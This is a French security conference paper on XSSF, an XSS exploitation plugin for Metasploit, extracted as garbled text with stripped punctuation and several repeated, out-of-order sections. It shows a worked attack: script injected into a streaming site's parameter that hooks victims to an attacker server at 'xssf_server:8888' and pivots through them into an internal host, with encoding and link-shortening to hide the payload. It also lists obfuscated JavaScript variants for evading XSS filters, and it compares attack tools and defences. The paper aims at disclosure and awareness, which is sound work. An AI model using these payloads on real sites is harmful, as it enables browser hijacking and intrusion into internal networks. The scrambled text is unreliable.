Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 21: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 22: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

